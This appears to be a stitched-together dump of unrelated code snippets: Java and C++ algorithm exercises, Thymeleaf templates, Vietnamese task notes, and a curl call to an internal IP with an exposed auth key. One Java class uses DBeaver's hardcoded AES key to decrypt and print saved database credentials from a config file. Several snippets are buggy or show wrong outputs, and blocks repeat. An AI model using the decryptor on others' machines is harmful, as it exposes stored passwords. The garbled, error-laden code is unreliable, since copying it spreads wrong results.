        for (int i = arr.length-1; i >0 ; i--) {
            while (n>=arr[i]) {
                if (n >= arr[i]) {
                    count++;
                    a.add(arr[i]);
                    n-=arr[i];
                }
            }
        }
        System.out.println(count);
        for(int s:a){
            System.out.print(s+" ");
        }
        System.out.println();
    }
}

package GreedyAlgo;

import java.util.Arrays;
import java.util.Comparator;

public class JobSequenceProblem {
    public static void main(String[] args) {
        int job [][]= {{4,20},{2,10},{1,40},{3,30}};
        Arrays.sort(job, Comparator.comparingDouble(o -> o[1]));

        int pro= job[job.length-1][1];
        int lastend= job[job.length-1][0];
        for(int i = job.length-1;i>=0;i--){
            if(lastend < job[i][0]){
                pro+=job[i][1];
            }
        }
        System.out.println(pro);
    }
}

public class fractionKnapsack {
    public static void main(String[] args) {
        int we [] = {15,40,30,35,30};
        int val [] = {80,80,20,45,30};
        int cap =75;

        double ratio[][] = new double[val.length][2];

        for(int i=0;i<we.length;i++){
            ratio[i][0] =i;
            ratio[i][1] = val[i]/(double)we[i];
        }

        Arrays.sort(ratio, Comparator.comparingDouble(o -> o[1]));
        int pro=0;

        for(int i= ratio.length-1;i>=0;i--){
            int ind = (int) ratio[i][0];
            if(cap >=we[ind]){
                cap-=we[ind];
                pro+=val[ind];
            }else{
                pro+= ratio[i][1]*cap;
                cap=0;
                break;
            }
        }
        System.out.println(pro);
}

public class fractionKnapsack {
    public static void main(String[] args) {
        int we [] = {15,40,30,35,30};
        int val [] = {80,80,20,45,30};
        int cap =75;

        double ratio[][] = new double[val.length][2];

        for(int i=0;i<we.length;i++){
            ratio[i][0] =i;
            ratio[i][1] = val[i]/(double)we[i];
        }

        Arrays.sort(ratio, Comparator.comparingDouble(o -> o[1]));
        int pro=0;

        for(int i= ratio.length-1;i>=0;i--){
            int ind = (int) ratio[i][0];
            if(cap >=we[ind]){
                cap-=we[ind];
                pro+=val[ind];
            }else{
                pro+= ratio[i][1]*cap;
                cap=0;
                break;
            }
        }
        System.out.println(pro);
}

package GreedyAlgo;

import java.util.Arrays;
import java.util.Collections;

public class ChocolaProblem {
    public static void main(String[] args) {
        int n =4 ,m=6;
        Integer costVer [] = {2,1,3,1,4};
        Integer costHor [] ={4,1,2};

        Arrays.sort(costHor, Collections.reverseOrder());
        Arrays.sort(costVer,Collections.reverseOrder());

        int h =0,v=0;
        int hp=1,vp=1;
        int finalcost=0;
        while(h < costHor.length && v < costVer.length){
            if(costVer[v] >= costHor[h] ){
                finalcost+=costVer[v]*hp;
                vp++;
                v++;
            }else{
                finalcost+=costHor[h]*vp;
                hp++;
                h++;
            }
        }
        while(h<costHor.length){
            finalcost+=costHor[h]*vp;
            h++;
            hp++;
        }
        while(v<costVer.length){
            finalcost+=costVer[v]*hp;
            v++;
            vp++;
        }
        System.out.println(finalcost);
    }
}

package GreedyAlgo;

import java.util.ArrayList;

public class ActivitySelection {
    public static void main(String[] args) {
        int arr [] ={1,2,3,4};
        int arr2[] = {4,3,5,5};
        System.out.println(maxact(arr,arr2));
    }
    static int maxact(int start[],int [] end){
        int activites[][] = new int[start.length][3];
        for(int i=0;i< start.length;i++){
            activites[i][0]=i;
            activites[i][1]=start[i];
            activites[i][1]=end[i];
        }
        ArrayList<Integer> s =new ArrayList<>();
        int maxact = 1;
        s.add(0);
        int lastend = end[0];
        for(int i=1;i<start.length;i++){
            if(start[i]>=lastend){
                maxact++;
                s.add(i);
                lastend=end[i];
            }
        }
        for (int a: s) {
            System.out.print("A"+a +" ");
        }
        System.out.println();
        return maxact;
    }
}

class binarySearch
{
    public static void main(String[] arg)
    {
        int n,key;
        n=7;
        int start=0;
        int end=n-1;
        
        key=8;
        int arr[]={2,3,4,7,8,9};
        while(start<=end)
        {
            int mid=start+ (end-start)/2;
            if(arr[mid]==key)
            {
                System.out.println("Element is "+ key +" which present at " +mid);
                break;
            }
            if(arr[mid]<key)
            {
                start=mid+1;
            }
            else{
                end=mid-1;
            }
            if(start>end)
            {
                System.out.println("not present in array");
            }
        }
        
    }
}

class binarySearch
{
    public static void main(String[] arg)
    {
        int n,key;
        n=7;
        int start=0;
        int end=n-1;
        
        key=8;
        int arr[]={2,3,4,7,8,9};
        while(start<=end)
        {
            int mid=start+ (end-start)/2;
            if(arr[mid]==key)
            {
                System.out.println("Element is "+ key +" which present at " +mid);
                break;
            }
            if(arr[mid]<key)
            {
                start=mid+1;
            }
            else{
                end=mid-1;
            }
            if(start>end)
            {
                System.out.println("not present in array");
            }
        }
        
    }
}

import javax.crypto.*;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;

    public class DecryptDbeaver {

        // from the DBeaver source 8/23/19 https://github.com/dbeaver/dbeaver/blob/57cec8ddfdbbf311261ebd0c7f957fdcd80a085f/plugins/org.jkiss.dbeaver.model/src/org/jkiss/dbeaver/model/impl/app/DefaultSecureStorage.java#L31
        private static final byte[] LOCAL_KEY_CACHE = new byte[] { -70, -69, 74, -97, 119, 74, -72, 83, -55, 108, 45, 101, 61, -2, 84, 74 };

        static String decrypt(byte[] contents) throws InvalidAlgorithmParameterException, InvalidKeyException, IOException, NoSuchPaddingException, NoSuchAlgorithmException {
            try (InputStream byteStream = new ByteArrayInputStream(contents)) {
                byte[] fileIv = new byte[16];
                byteStream.read(fileIv);
                Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
                SecretKey aes = new SecretKeySpec(LOCAL_KEY_CACHE, "AES");
                cipher.init(Cipher.DECRYPT_MODE, aes, new IvParameterSpec(fileIv));
                try (CipherInputStream cipherIn = new CipherInputStream(byteStream, cipher)) {
                    return inputStreamToString(cipherIn);
                }
            }
        }

        static String inputStreamToString(java.io.InputStream is) {
    java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
  }

  public static void main(String[] args) throws Exception {
    if (args.length != 1) {
      System.err.println("syntax: param1: full path to your credentials-config.json file");
      System.exit(1);
    }
    System.out.println(decrypt(Files.readAllBytes(Paths.get(args[0]))));
  }  

}

https://developers.google.com/maps/billing-and-pricing/billing#monthly-credit

https://developers.google.com/maps/documentation/distance-matrix/get-api-key

import java.util.Arrays;
import java.util.stream.*;


public class comments{

             public static void main(String [] args){
             
             //String name []={"peter","jacob","marc","chachou","harry"};
             
           //String name []={"peter","jacob","harry"};
            
           String name []={};
             
             String rs =whoLikesIt(name);
             System.out.println(rs);
             
             }
             
             static String whoLikesIt(String... names){
             
              if(names.length == 0){ return "no one like this";}
             
               
               
               if(names.length <=3){
               
                return String.valueOf(  Arrays.toString(names) +"like this");
               
               }
               
               
              else if(names.length > 3){
              
              
             int taille=names.length -  3;
             
             String tab []=new String[3];
              for(int i=0; i<names.length - taille; i++){
              
                tab[i] =names[i];
              }
             return   Arrays.toString(tab) +"and "+taille +" other people like this";
              
               
               
               }
               
               
               return  " "; 
               
               
               //version refactoring with java 8 API stream
               /*
              int newlenght =names.length - 3;
              
               return names.length == 0 ? "no one like this" 
                : names.length <= 3?  Arrays.toString(names) +"like this"
                :names.length >3? Arrays.toString( Arrays.stream(names,0,3)
                .toArray(String[]::new)) + "and " +newlenght +" other people like this"
                :" "; 
                */
             
             }

}

curl --location '10.254.247.79:8686/mobile/app/644b3fa2f1f9373c96cd4e70' \
--header 'authen_key: 6266076dbf9aad67dc287ee4' \
--header 'Content-Type: application/json' \
--data '{
    "sender":{
        "account":"19667"
        },
        "message":{
            "text":"",
            "payload":"intent_id::6382d251f49bb321fa4675ea",
            "timestamp":1689932725439
            },
    "type":"followup"
}'

  public static void bubbleSort(int[] arr) {
    var lastIndex = arr.length - 1;

    for(var j = 0; j < lastIndex; j++) {
      for(var i = 0; i < lastIndex - j; i++) {
        if(arr[i] > arr[i + 1]) {
          var tmp = arr[i];
          arr[i] = arr[i + 1];
          arr[i + 1] = tmp;
        }
      }
    }
  }

Chatbot-bitel: tạo bot mới cho nền tảng whatapp, tạo các kịch bản cho bot, sửa lại api download hóa đơn
Chatbot-report: - tạo job viết api download phân tích phiên chat của của user tính theo ngày
                         - update api download tvv status và showTvvStatus
Analytic-logging: update api updateStatusHumanAgent và showAllUserList, tạo log cho con logging trên môi trường prod
Intent-part: Viết api gợi ý kịch bản, tạo log cho con intent trên môi trường prod

ContentResolver contentResolver = getContentResolver();
Uri uri = android.provider.MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;
Cursor cursor = contentResolver.query(uri, null, null, null, null);
if (cursor == null) {
    // query failed, handle error.
} else if (!cursor.moveToFirst()) {
    // no media on the device
} else {
    int titleColumn = cursor.getColumnIndex(android.provider.MediaStore.Audio.Media.TITLE);
    int idColumn = cursor.getColumnIndex(android.provider.MediaStore.Audio.Media._ID);
    do {
       long thisId = cursor.getLong(idColumn);
       String thisTitle = cursor.getString(titleColumn);
       // ...process entry...
    } while (cursor.moveToNext());
}

package com.amrita.jpl.cys21051.p2;
import java.util.*;

abstract class QuizGame {
    void startGame() {
        askQuestion();
    }

    abstract void askQuestion();

    abstract void evaluateAnswer(String answer);
}

interface QuizGameListener {
    void ifQuestionisAsked(String question);

    void ifAnswerisEvaluated(boolean isCorrect);
}

class QuizGameServer extends QuizGame implements QuizGameListener {
    private String[] questions = {
            "20CYS383 is the course code for JAVA LAB(true/false)?", "Is the colour of the sky blue(true/false)?",
    };
    private int currentQuestionIndex = 0;

    @Override
    void startGame() {
        System.out.println("Server initiated the QuizGame!");
        super.startGame();
    }

    @Override
    void askQuestion() {
        if (currentQuestionIndex >= questions.length) {
            System.out.println("All questions have been asked.");
            return;
        }

        String question = questions[currentQuestionIndex];
        ifQuestionisAsked(question);
    }

    @Override
    void evaluateAnswer(String answer) {
        boolean isCorrect = answer.equals("true");
        ifAnswerisEvaluated(isCorrect);
    }

    @Override
    public void ifQuestionisAsked(String question) {
        System.out.println("Server's question: " + question);
        currentQuestionIndex++;
    }

    @Override
    public void ifAnswerisEvaluated(boolean isCorrect) {
        System.out.println("The answer is" + isCorrect);
        askQuestion();
    }
}

class QuizGameClient extends QuizGame implements QuizGameListener {
    @Override
    void startGame() {
        System.out.println("Client initiated the QuizGame!");
        super.startGame();
    }

    @Override
    void askQuestion() {
        String question = "20CYS383 is the course code for JAVA LAB(1/0)?";
        ifQuestionisAsked(question);
        String question1 = "Is the colour of the sky blue(true/false)?";
        ifQuestionisAsked(question1);
    }

    @Override
    void evaluateAnswer(String answer) {
        System.out.println("Client sent answer: " + answer);
        boolean isCorrect = answer.equals("true");
        ifAnswerisEvaluated(isCorrect);
    }

    @Override
    public void ifQuestionisAsked(String question) {
        System.out.println("Client got a question: " + question);
        Scanner scanner = new Scanner(System.in);
        System.out.print("Write your answer(true, false): ");
        String answer = scanner.nextLine();
        evaluateAnswer(answer);
    }
    int i = 0;
    @Override
    public void ifAnswerisEvaluated(boolean isCorrect) {
        System.out.println("Client got result: The answer is " + isCorrect);
        if(isCorrect){
            i++;
            System.out.println("You've got 1 mark");
            System.out.println("Total Marks= " + i);
        }
        else {
            System.out.println("You've got 0 mark");
            System.out.println("Total Marks= " + i);
        }
    }

}

public class Main {
    public static void main(String[] args) {
        QuizGameServer qgs = new QuizGameServer();
        qgs.startGame();

        QuizGameClient qgc = new QuizGameClient();
        qgc.startGame();
    }
}

public class TablasAritmeticas {
    public static void main(String[] args) {
        for(int i = 1; i <= 10; i++){
          for(int j = 1; j <= 10; j++){
              int r = i * j;
              System.out.print(i + " x " + j + " = " + r + "\n");
          }
        }
    }
}

import java.util.Arrays;
import java.util.Objects;
import java.util.Scanner;

public class Calculadora {
    float operando;
    float operador;
    float resultado;
    String signo;

        public Calculadora(float operando, float operador, float resultado, String signo) {
        this.operando = 0;
        this.operador = 0;
        this.resultado = 0;
        this.signo = "";
    }

    public float getOperando() {
        return this.operando;
    }
    public float getOperador() {
            return this.operador;
    }

    public float getResultado() {
            return this.resultado;
    }

    public String getSigno() {
            return this.signo;
    }
    public void setOperando(float operando) {
        this.operando = operando;
    }

    public void setOperador(float operador) {
            this.operador = operador;
    }

    public void  setResultado(float resultado) {
            this.resultado = resultado;
    }

    public void setSigno(String signo) {
            this.signo = signo;
    }

    public void calculos() {
            String signos[] = {"+", "-", "*", "/"};

        Scanner datos = new Scanner(System.in);

        System.out.println(Arrays.toString(signos)+"\n" +
                " Escoja uno de los signos aritméticos de arriba.\n" +
                "Escribalo con el teclado por favor.");
        signo = datos.next();
        System.out.println("Muchas gracias,\n" +
                "ahora escriba un primer número : ");
        operando = datos.nextFloat();
        System.out.println("Y ahora un segúndo número : ");
        operador = datos.nextFloat();

        if(Objects.equals(signo, "+")){
            resultado = operando + operador;
            System.out.println(resultado);
        }
        if(Objects.equals(signo, "-")){
            resultado = operando - operador;
            System.out.println(resultado);
        }
        if(Objects.equals(signo, "*")){
            resultado = operando * operador;
            System.out.println(resultado);
        }
        if(Objects.equals(signo, "/")){
            resultado = operando / operador;
            System.out.println(resultado);
        }

    }
}

	public void writeFile(String text) {
		
        try {
            // Abre el archivo en modo de escritura
            BufferedWriter writer = new BufferedWriter(new FileWriter("C:\\Users\\integratec\\Desktop\\universalError.txt"));

            // Escribe en el archivo
            
            writer.write(text);
            writer.newLine(); // Añade una nueva línea
            

            // Cierra el archivo
            writer.close();

            System.out.println("Se ha escrito en el archivo exitosamente.");
        } catch (IOException e) {
            System.out.println("Ocurrió un error al escribir en el archivo: " + e.getMessage());
       }

<div class="form-group">
    <label>Ngày Lập: </label>
    <input type="date" class="form-control" th:field="*{ngayLap}" />
    <!-- get field in object -->
    <div th:if="${#fields.hasErrors('ngayLap')}" class="errors text-danger form-text" th:errors="*{ngayLap}"></div>
    <!-- validate form  -->
    <!-- table  -->

    <tr th:each="hoadon : ${list}">
        <td th:text="${hoadon.id}"></td>
        <td th:text="${hoadon.trangThai}"></td>
        <td>
            <a th:href="@{/hoadon/detail(id=${hoadon.id})}" class="btn btn-success ">detail</a>
            <a th:href="@{/hoadon/delete(id=${hoadon.id})}" class="btn btn-danger">Delete</a>
            <a th:href="@{/hoadon/update(id=${hoadon.id})}" class="btn btn-warning">Update</a>
        </td>
    </tr>
    <!-- table  -->
    <!-- combooboxx -->
    <div class="form-group">
        <label for="sanPham">Sản Phẩm:</label>
        <select class="form-control" th:field="*{sanPham}">
            <option value="">Chọn SanPham</option>
            <option th:each="sp : ${sanPhams}" th:value="${{sp}}" th:text="${sp.ten}">
            </option>
        </select>
        <div th:if="${#fields.hasErrors('sanPham')}" class="errors text-danger form-text" th:errors="*{sanPham}"></div>
    </div>
    <!-- combooboxx -->
    <!-- form  -->
    <form enctype="multipart/form-data" th:action="@{/manager/chitietsanpham/store}" th:object="${chitietsanpham}"
        method="post" class="form">
    </form>
    <!-- form -->
</div>




<!-- paniagation -->
              <nav aria-label="Page navigation example">
        <ul class="pagination justify-content-center">
            <li class="page-item">
                <a class="page-link" th:href="@{/khachhang/pre}">Previous</a>
            </li>
            <li th:each="index : ${panigation}" class="page-item"><a class="page-link"
                    th:href="@{/khachhang/pageno(pageno=${index})}" th:text="${index+1}"></a></li>
            <li class="page-item">
                <a class="page-link" th:href="@{/khachhang/next}">Next</a>
            </li>
        </ul>
    </nav>

<div class="form-group">
    <label>Ngày Lập: </label>
    <input type="date" class="form-control" th:field="*{ngayLap}" />
    <!-- get field in object -->
    <div th:if="${#fields.hasErrors('ngayLap')}" class="errors text-danger form-text" th:errors="*{ngayLap}"></div>
    <!-- validate form  -->
    <!-- table  -->

    <tr th:each="hoadon : ${list}">
        <td th:text="${hoadon.id}"></td>
        <td th:text="${hoadon.trangThai}"></td>
        <td>
            <a th:href="@{/hoadon/detail(id=${hoadon.id})}" class="btn btn-success ">detail</a>
            <a th:href="@{/hoadon/delete(id=${hoadon.id})}" class="btn btn-danger">Delete</a>
            <a th:href="@{/hoadon/update(id=${hoadon.id})}" class="btn btn-warning">Update</a>
        </td>
    </tr>
    <!-- table  -->
    <!-- combooboxx -->
    <div class="form-group">
        <label for="sanPham">Sản Phẩm:</label>
        <select class="form-control" th:field="*{sanPham}">
            <option value="">Chọn SanPham</option>
            <option th:each="sp : ${sanPhams}" th:value="${{sp}}" th:text="${sp.ten}">
            </option>
        </select>
        <div th:if="${#fields.hasErrors('sanPham')}" class="errors text-danger form-text" th:errors="*{sanPham}"></div>
    </div>
    <!-- combooboxx -->
    <!-- form  -->
    <form enctype="multipart/form-data" th:action="@{/manager/chitietsanpham/store}" th:object="${chitietsanpham}"
        method="post" class="form">
    </form>
    <!-- form -->
</div>

a.

public static void main(String[] args) {
		
		xmethod(5);
	
	}
	public static void xmethod(int n) {
		if(n > 0) {
			System.out.print( n + " ");
			xmethod (n-1);
	
		}
	}
}
//output:
5 4 3 2 1


b. 
public static void main(String[] args) {
		
		xmethod(5);
	
	}
	public static void xmethod(int n) {
		if(n > 0) {
			xmethod (n-1);
			System.out.print( n + " ");
		}
	}
}

//Output:
 5 4 3 2 1

public static void main(String[] args) {
		
		//Scanner scan = new Scanner(System.in); 
		//System.out.println("Enter Non Negetive Number: ");
		//int number = scan.nextInt();
		
		System.out.println(xmethod(5));
		
		
	}
	public static int xmethod(int number) {
		if(number==1)
			return 1;
		else
			return number + xmethod(number-1);
	}
}

//OUTPUT: 15
1+2+3+4+5 =  15

public static void main(String[] args) {
		int array1[]={2,3,4,6};
		int array2[]={1,2,5,4,5,7,2,3}; 
		
		System.out.print("my Array 1 = " + Arrays.toString(array1));
		
		System.out.print("\n\nmy Array 2 = " + Arrays.toString(array2));

		System.out.println("\n\n\nFrom Array1 to Array2:  " + Arrays.toString(append(array1,array2)));
		
		
		System.out.println("\n\nFrom Array2 To Array 1: " + Arrays.toString(append(array2, array1)));
		

		
	}
	public static int[] append(int[] array1, int[] array2) {
		
		int array1Length = array1.length;
		int array2Length = array2.length;
		
		int[] array3 = new int[array1Length+array2Length]; 
		
		for(int i=0;i<array1Length;i++)
		{
			array3[i]=array1[i];
		}
		for(int i=0;i<array2Length;i++) 
		{
		array3[array1Length+i]=array2[i];
		}
		return array3;
		}
	
}

//OUTPUT:
my Array 1 = [2, 3, 4, 6]

my Array 2 = [1, 2, 5, 4, 5, 7, 2, 3]


From Array1 to Array2:  [2, 3, 4, 6, 1, 2, 5, 4, 5, 7, 2, 3]


From Array2 To Array 1: [1, 2, 5, 4, 5, 7, 2, 3, 2, 3, 4, 6]

public static void main(String[] args) {
		//int[] array = {1,2,3,4,5};
		//System.out.print(collapse(array));
		
	}
	@SuppressWarnings("unused")
	public static int[] collapse(int[] array) {
		
		int L=array.length; 
		int outSize;
		
		if(L%2==0)
			outSize = L/2;
		else
			outSize = L/2+1;
		
		int[] array2 = new int[outSize]; //{2 3 4 5 6 7} ->{5 9 13}
			//{2 3 4 5 6} -> {5 9 6}
		int i2=0;
		
		for(int i=0;i<L-1;i=i+2) 
		{
			array2[i/2] = array[i] + array[i+1];
			//i2++; }
			if(L%2==1) {
			array2[outSize-1] = array[L-1]; }
			return array2;
		}
		return array2;
	}
}

public static void main(String[] args) {
		int[] array1= {4,2,3,1,2,1};
		int[] array2 = {2,3,1};
		
		 System.out.print(contain(array1, array2));
		
	}
	
	public static boolean contain(int[] array1, int[] array2) {
		int counter =0;
		for(int i=0; i<(array1.length-array2.length); i++) 
		{
			counter =0;
			for(int j=0; j<array2.length; j++) 
			{
				if(array1[i+j] == array2[j]) 
					counter ++;
				else
					break;
				}
			if(counter == array2.length)
				return true;
		}
		return false;
	}
}

//OUTPUT:
true.

public static void main(String[] args) {
		int[][] array = {
				{10,20,30},
				{40,50,60},
				{70,80,90},
		};
		RowColumn(array);
		SumRow(array);
		SumColumn(array);
		
		String[][] name = {
				{"Moha", "Ade", "Yahya"},
				{"Abdi", "abdirahman", "Xidig"},
		};
		names(name);
		
	}
	public static void RowColumn(int[][] array) {
		for(int i =0; i<array.length; i++) {
			for(int j=0; j<array[i].length; j++) {
				System.out.print(array[i][j] + " ");
			}
			System.out.println();
		}
	}
	public static void SumRow(int[][] array) {
		for(int i=0; i<array.length; i++) {
			int Sum = 0;
			for(int j=0; j<array[i].length; j++) {
				Sum = Sum + array[i][j];
			}
			System.out.println("\nSum of Row " + i + ", is = " + Sum );
		}
	}
	public static void SumColumn(int[][] array) {
		for(int j=0; j<array[0].length; j++) {
			int sum = 0;
			for(int i=0; i<array.length; i++) {
				sum = sum + array[i][j];
			}
			System.out.println("\nSum of Column " + j + ", is = " + sum);
		}
	}
	public static void names(String[][] name) {
		for(int j=0; j<name[0].length; j++) {
			String full_name = "  ";
			for(int i=0; i<name.length; i++) {
				full_name = full_name + name[i][j];
			}
			System.out.println("\nfull names of colum " + j + ", are " + full_name);
		}
	}
}

//OUTPUT:
10 20 30 
40 50 60 
70 80 90 

Sum of Row 0, is = 60

Sum of Row 1, is = 150

Sum of Row 2, is = 240

Sum of Column 0, is = 120

Sum of Column 1, is = 150

Sum of Column 2, is = 180

full names of colum 0, are   MohaAbdi

full names of colum 1, are   Adeabdirahman

full names of colum 2, are   YahyaXidig

Could not find artifact com.aspose:aspose-cells:pom:20.7 in maven-public (http://10.30.154.118:8888/repository/maven-public/)
                                                                          
                                                                          https://lh4.googleusercontent.com/1Ju7yEQaVrd3e04fNRiI3iWMtlqJQUfJxK8cgTEWaNcxnB1VaJICzxIdhtZMv7zpZpCXrP1iyFp7qIPtbY0-U2Q65pSgF6VDOQG_HKgBK2RtX8paUMe4hzqE3JqYj4ClP8OsS2vf
                                                                          
                                                                          
                                                                          https://lh3.googleusercontent.com/tF7Km5-YwcQYBWKnSv62PHReo5MdsCDD6mcuXfxe-hge42rJyKQvKG4Vm_ZUqgntdtjZAVmO1rXJQpNKVP85mx1nm8rLByaC1n_vkLsms-1CZdlGsOjXWkveVR3addqFGk51BN7M
                                                                          
                                                                          https://lh5.googleusercontent.com/ksNIUAKmSvWG4dXOuNspGWz2hR1oZnjkFtglKdRwxjg--mdA_lKyA9tKumcYfQyjXINph8psn6STDYdGKjKyQi3ECy0pebxkYZGStd0U3bnWJM7dg9CmDYQ_VbhzCG64tqD58uLd
                                                                          
                                                                          http://10.121.43.43/api/chat-bot/pdf/download/receipt-a58303db-2013-431f-92fd-8d190b1416ce.pdf

public static void main(String[] args) {
		

//Reverse numbers in the column.
  
  int [][] array = { 
				{1,2}, 
				{3,4}, 
				{5,6}, };
		
		for(int i= 0; i<array.length; i++) {
			for(int j=array[i].length-1; j>=0; j--) {
				System.out.print(array[i][j] + " ");
			}
			System.out.println();
		}
	}

//OUTPUT:
2 1 
4 3 
6 5 

//Reverse numbers in Row
public static void main(String[] args) {
		
		int [][] array = { 
				{1,2}, 
				{3,4}, 
				{5,6}, };
		
		for(int i=array.length-1; i>=0; i--) {
			for(int j=0; j<array.length-1; j++) {
				System.out.print(array[i][j] + " ");
			}
			System.out.println();
		}
	}

//OUTPUT:
5 6 
3 4 
1 2 

//Reverse numbers both Column and Row.
public static void main(String[] args) {
		
		int [][] array = { 
				{1,2}, 
				{3,4}, 
				{5,6}, };
		
		for(int i=array.length-1; i>=0; i--) {
			for(int j=array[i].length-1; j>=0; j--) {
				System.out.print(array[i][j] + " ");
			}
			System.out.println();
		}
	}
//OOUTPUT:
6 5 
4 3 
2 1 

public static void main(String[] args) {
		
		int [][] array = {
				{1,2,3,4,5},
				{6,7,8,9,10},
				{11,12,13,14,15},
				{16,17,18,19,20},
		};
		for(int row =0; row < array.length; row ++) {
			int total = 0;
			for(int column = 0; column < array[0].length; column++) {
				total = total + array[row] [column];
			}
			System.out.println("Sum for Row " + row + " , is = " + total);
		}
	}

//OUTPUT:

Sum for Row 0 , is = 15
Sum for Row 1 , is = 40
Sum for Row 2 , is = 65
Sum for Row 3 , is = 90

public static void main(String[] args) {
		
		int [][] array = {
				{1,2,3,4,5},
				{6,7,8,9,10},
				{11,12,13,14,15},
				{16,17,18,19,20},
		};
		for(int colomn =0; colomn< array[0].length; colomn ++) {
			int total =0;
			for(int row = 0; row < array.length; row ++) {
				total = total + array[row] [colomn];
			}
			System.out.println("Sum for Colomn " + colomn + " , is = " + total);
		}
	}
//OUtPUT:
Sum for Column 0 , is = 34
Sum for Column 1 , is = 38
Sum for Column 2 , is = 42
Sum for Column 3 , is = 46
Sum for Column 4 , is = 50

public static void main(String[] args) {
		
		int [][] array = {
				{1,2,3,4,5},
				{6,7,8,9,10},
				{11,12,13,14,15},
		};
		int total = 0;
		for(int row = 0; row < array.length; row ++) {
			for(int colomn =0; colomn< array[row].length; colomn ++) {
				total = total + array[row] [colomn];
			}
			System.out.println("total number in each line is = " + total);
		}
	}

//OutPut:
total number in each line is = 15
total number in each line is = 55
total number in each line is = 120

public static void main(String[] args) {
		
		int[] array = {100,22,3,44,55,66,77,88};
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter number that you are looking for:");
		int number = scanner.nextInt();
		
		//int search;
		
		for(int i=0; i<array.length; i++) {
			if(number == array[i]) {
				System.out.printf("number %d is in the array it's index %d \n", number, i);
			}
			else {
				System.out.println("sorry");
			}
		}
		
		scanner.close();
	}
}

public static void main(String[] args) {
		
		int [][] array = {
				{1,2,3,4,5},
				{6,7,8,9,10},
				{11,12,13,14,15},
		};
		for(int row = 0; row < array.length; row ++) {
			for(int colomn =0; colomn< array[row].length; colomn ++) {
				System.out.print(array[row] [colomn] + " ");
			}
			System.out.println();
		}
	}

//OutPut:
1 2 3 4 5 
6 7 8 9 10 
11 12 13 14 15 

#include <iostream>
#include <algorithm>

using namespace std;

int main() {
    // Creating an array
    int arr[] = {4, 10, 3, 5, 1};

    // Size of the array
    int size = sizeof(arr) / sizeof(arr[0]);

    // Building a max heap from the array
    make_heap(arr, arr + size);

    cout << "Max heap: ";
    for (int i = 0; i < size; ++i) {
        cout << arr[i] << " ";
    }
    cout << endl;

    // Inserting an element into the heap
    int newElement = 7;
    arr[size] = newElement;
    push_heap(arr, arr + size + 1);

    cout << "Max heap after insertion: ";
    for (int i = 0; i < size + 1; ++i) {
        cout << arr[i] << " ";
    }
    cout << endl;

    // Removing the maximum element from the heap
    pop_heap(arr, arr + size + 1);
    int maxElement = arr[size];
    --size;

    cout << "Max element removed: " << maxElement << endl;

    cout << "Max heap after removal: ";
    for (int i = 0; i < size; ++i) {
        cout << arr[i] << " ";
    }
    cout << endl;

    return 0;
}

#include <iostream>
#include <queue>
using namespace std;

// Binary Tree Node
struct Node {
    int data;
    Node* left;
    Node* right;
};

// Function to create a new node
Node* createNode(int value) {
    Node* newNode = new Node();
    if (!newNode) {
        cout << "Memory error\n";
        return NULL;
    }
    newNode->data = value;
    newNode->left = newNode->right = NULL;
    return newNode;
}

// Function to insert a node in the tree using level-order traversal
Node* levelOrderInsertion(Node* root, int value) {
    if (root == NULL) {
        root = createNode(value);
        return root;
    }
    
    queue<Node*> q;
    q.push(root);
    
    while (!q.empty()) {
        Node* temp = q.front();
        q.pop();
        
        if (temp->left == NULL) {
            temp->left = createNode(value);
            break;
        } else {
            q.push(temp->left);
        }
        
        if (temp->right == NULL) {
            temp->right = createNode(value);
            break;
        } else {
            q.push(temp->right);
        }
    }
    
    return root;
}

// Depth-First Search (DFS) Traversal
void dfsTraversal(Node* root) {
    if (root == NULL) {
        return;
    }
    
    cout << root->data << " ";
    dfsTraversal(root->left);
    dfsTraversal(root->right);
}

// Breadth-First Search (BFS) Traversal
void bfsTraversal(Node* root) {
    if (root == NULL) {
        return;
    }
    
    queue<Node*> q;
    q.push(root);
    
    while (!q.empty()) {
        Node* temp = q.front();
        q.pop();
        
        cout << temp->data << " ";
        
        if (temp->left != NULL) {
            q.push(temp->left);
        }
        
        if (temp->right != NULL) {
            q.push(temp->right);
        }
    }
}

// Function to delete leaf nodes using level-order traversal
Node* levelOrderDeletion(Node* root) {
    if (root == NULL) {
        return NULL;
    }
    
    queue<Node*> q;
    q.push(root);
    
    while (!q.empty()) {
        Node* temp = q.front();
        q.pop();
        
        if (temp->left != NULL) {
            if (temp->left->left == NULL && temp->left->right == NULL) {
                delete temp->left;
                temp->left = NULL;
            } else {
                q.push(temp->left);
            }
        }
        
        if (temp->right != NULL) {
            if (temp->right->left == NULL && temp->right->right == NULL) {
                delete temp->right;
                temp->right = NULL;
            } else {
                q.push(temp->right);
            }
        }
    }
    
    return root;
}

int main() {
    Node* root = NULL;
    
    // Level-order insertion
    root = levelOrderInsertion(root, 1);
    root = levelOrderInsertion(root, 2);
    root = levelOrderInsertion(root, 3);
    root = levelOrderInsertion(root, 4);
    root = levelOrderInsertion(root, 5);
    
    cout << "DFS Traversal: ";
    dfsTraversal(root);
    cout << endl;
    
    cout << "BFS Traversal: ";
    bfsTraversal(root);
    cout << endl;
    
    // Level-order deletion of leaf nodes
    root = levelOrderDeletion(root);
    
    cout << "DFS Traversal after deletion: ";
    dfsTraversal(root);
    cout << endl;
    
    return 0;
}

public class Exercise {

	public static void main(String[] args) {
		int[] array = {2,3,4,1,5};
		int[] myarray = {2,9,5,4,8,1,6};
		
		System.out.println("my normal array is: " + Arrays.toString(array));
		
//bubbleSort array:		
		bubbleSort(array);
		System.out.println();
		System.out.println("After Sorting From Small number to Large number. ");
		System.out.println("\t" + Arrays.toString(array));
		
		sort(array);
		System.out.println();
		System.out.println("After Sorting From Large number to Small number: ");
		System.out.println("\t" + Arrays.toString(array));
		
//selection array
		System.out.println();
		
		System.out.println("my second array is : " + Arrays.toString(myarray));
		selectionArray(myarray);
		System.out.println();
		System.out.println("After Selection Array from minimum number to maximum number: ");
		System.out.println("\t" + Arrays.toString(myarray));
		
		
	}
	public static void bubbleSort(int[] array) {
		for(int i=0; i<array.length; i++) {
			for(int j=0; j<array.length-1-i; j++) {
				if(array[j] > array[j+1]) {
					int temp = array[j];
					array[j] = array[j+1];
